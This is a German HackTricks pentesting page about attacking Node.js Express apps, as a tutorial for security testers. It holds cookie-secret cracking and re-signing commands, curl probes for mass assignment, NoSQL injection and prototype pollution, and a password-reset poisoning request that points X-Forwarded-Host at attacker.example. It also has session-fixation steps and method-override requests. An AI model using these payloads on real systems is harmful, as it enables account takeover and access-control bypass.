NodeJS Express

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Quick Fingerprinting

Nützliche Express-Indikatoren während recon:

  • X-Powered-By: Express oder Stack-Traces, die express, body-parser, qs, cookie-parser, express-session oder finalhandler erwähnen
  • Cookies mit Präfix s: (signed cookie) oder j: (JSON cookie)
  • Session-Cookies wie connect.sid
  • Versteckte Formularfelder oder Query-Parameter wie _method=PUT / _method=DELETE
  • Fehlerseiten leaking Cannot GET /path, Cannot POST /path, Unexpected token in body-parser, oder URIError während der Query-Parsing

Wenn du Express bestätigst, konzentriere dich auf die Middleware-Kette, denn die interessantesten Bugs kommen meist von Parsern, proxy trust, Session-Handling und method-tunneling und weniger vom Framework-Core selbst.

Das Tool https://github.com/DigitalInterruption/cookie-monster ist ein Hilfsprogramm zur Automatisierung des Testens und erneuten Signierens von Express.js Cookie-Secrets.

Express zeigt üblicherweise zwei nützliche Cookie-Formate:

  • s:<value>.<sig> signed cookies, verarbeitet von cookie-parser oder express-session
  • j:<json> JSON cookies, die automatisch von cookie-parser geparst werden

Wenn cookie-parser ein signed cookie erhält und die Signatur ungültig ist, wird der Wert zu false statt des manipulierten Werts. Akzeptiert die Anwendung ein Array von secrets, können alte secrets nach einer Rotation bestehende Cookies weiterhin verifizieren.

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Benutzerdefinierte Wortliste

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Mehrere Cookies mit Batch-Modus testen

cookie-monster -b -f cookies.json

Mehrere Cookies im Batch-Modus mit einer benutzerdefinierten Wortliste testen

cookie-monster -b -f cookies.json -w custom.lst

Wenn du das secret kennst, kannst du das Cookie signieren.

cookie-monster -e -f new_cookie.json -k secret

Query-String- und URL-codierte Parser-Ausnutzung

Express-Ziele werden oft interessant, wenn sie vom Angreifer kontrollierte Schlüssel in verschachtelte Objekte parsen.

  • req.query kann mit verschiedenen Parsern konfiguriert werden, einschließlich qs
  • express.urlencoded({ extended: true }) verwendet qs-artiges Parsing für application/x-www-form-urlencoded
  • Verschachteltes Parsing ermöglicht object injection, mass assignment, NoSQL injection und prototype pollution chains, wenn das geparste Objekt in den Anwendungszustand zusammengeführt wird

Praktische payloads zum Ausprobieren:

# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'

# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'

# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update'   -H 'Content-Type: application/x-www-form-urlencoded'   --data 'profile[role]=admin&filters[$ne]=x'

Wenn die App das resultierende Objekt reflektiert oder persistiert, wechseln Sie zu den spezialisierten Seiten für Details zur Ausnutzung:

Mass Assignment Cwe 915

Express Prototype Pollution Gadgets

Zusätzliche Tests, die sich speziell gegen Express lohnen:

  • Tiefe Verschachtelung, um nach Parser-Grenzen, Timeouts oder Unterschieden bei 400/413 zu suchen
  • Doppelte Keys, um zu prüfen, ob die App den ersten Wert, den letzten oder ein Array behält
  • Bracket-Syntax wie a[b][c]=1, Punkt-Syntax wie a.b=1 und __proto__ / constructor[prototype] payloads

trust proxy Missbrauch

Wenn die App app.set("trust proxy", true) verwendet oder zu viele Hops vertraut, leitet Express sicherheitsrelevante Werte aus Forwarding-Headern ab. Wenn der Reverse-Proxy sie nicht überschreibt, kann ein Client sie direkt fälschen.

Das betrifft:

  • req.hostname über X-Forwarded-Host
  • req.protocol über X-Forwarded-Proto
  • req.ip / req.ips über X-Forwarded-For

Das ist nützlich für:

  • Password reset poisoning und absolute URL poisoning
  • Umgehen von IP-basierten Allowlists, Rate Limits oder Audit-Trails
  • Beeinflussung der secure-Cookie-Behandlung und der HTTPS-only-Logik in Apps, die req.protocol als Entscheidungsgrundlage verwenden
  • Poisoning von Redirects oder cachebaren Antworten, wenn die App absolute Links mit forwarded host/proto Headern templateilt
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json

{"email":"victim@target.example"}

Überprüfe, ob generierte Links, Redirect-Ziele, Logs oder Zugriffskontrollentscheidungen jetzt vom Angreifer gelieferte Werte verwenden.

Related pages:

Reset/Forgotten Password Bypass

Cache Poisoning and Cache Deception

express-session Testhinweise

Gängige Express-Deployments nutzen express-session, welches den Session-Identifier-Cookie signiert, den eigentlichen Zustand aber serverseitig speichert.

Nützliche Prüfungen:

  • Session fixation: sich mit einem Pre-Login-Cookie authentifizieren und überprüfen, ob die SID nach dem Login gleich bleibt
  • Weak secret rotation: einige Deployments verifizieren Cookies mit einem Array alter Secrets, sodass zuvor gültige Signaturen weiterhin funktionieren können
  • saveUninitialized: true: die Anwendung stellt Pre-Auth-Sessions für anonyme Nutzer aus, was die Fixation erleichtert und die Session-Angriffsfläche für brute-force- oder Cache-Analysen vergrößert
  • MemoryStore in production deutet meist auf geringe operative Reife hin und auf instabiles Session-Verhalten bei Neustarts

Ein praktischer fixation-Workflow:

  1. Einen anonymen Session-Cookie vom Ziel erhalten.
  2. Diesen Cookie an ein Opfer senden oder sich selbst damit authentifizieren.
  3. Überprüfen, ob der Login den authentifizierten Zustand an die bestehende SID bindet.
  4. Wenn ja, das gleiche Cookie in einer separaten Browser-Session replayen.

Wenn die App nach der Authentifizierung nicht req.session.regenerate() aufruft, ist Fixation oft weiterhin möglich.

Method Override Tunneling

Einige Express-Apps verwenden method-override, um Verben zu tunneln, die HTML-Formulare nicht nativ senden können. Ist das aktiviert, teste immer, ob du gefährliche Methoden durch eine Route schmuggeln kannst, die das Front-end, der WAF oder die CSRF-Logik fälschlicherweise als nur POST angenommen hat.

Typische Probes:

POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded

confirm=yes

POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

role=admin

Interessante Auswirkungen:

  • Zugriff auf versteckte PUT / PATCH / DELETE Routen durch eine POST-only edge control
  • Umgehung route-spezifischer middleware, die nur req.method prüft
  • Auslösen zustandsändernder Handler via CSRF, wenn die Anwendung nur die äußere Request-Methode validiert

Standardmäßig überschreibt die middleware üblicherweise nur POST, daher priorisiere POST-Requests mit Header-, Body- und Query-String-Override-Werten.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks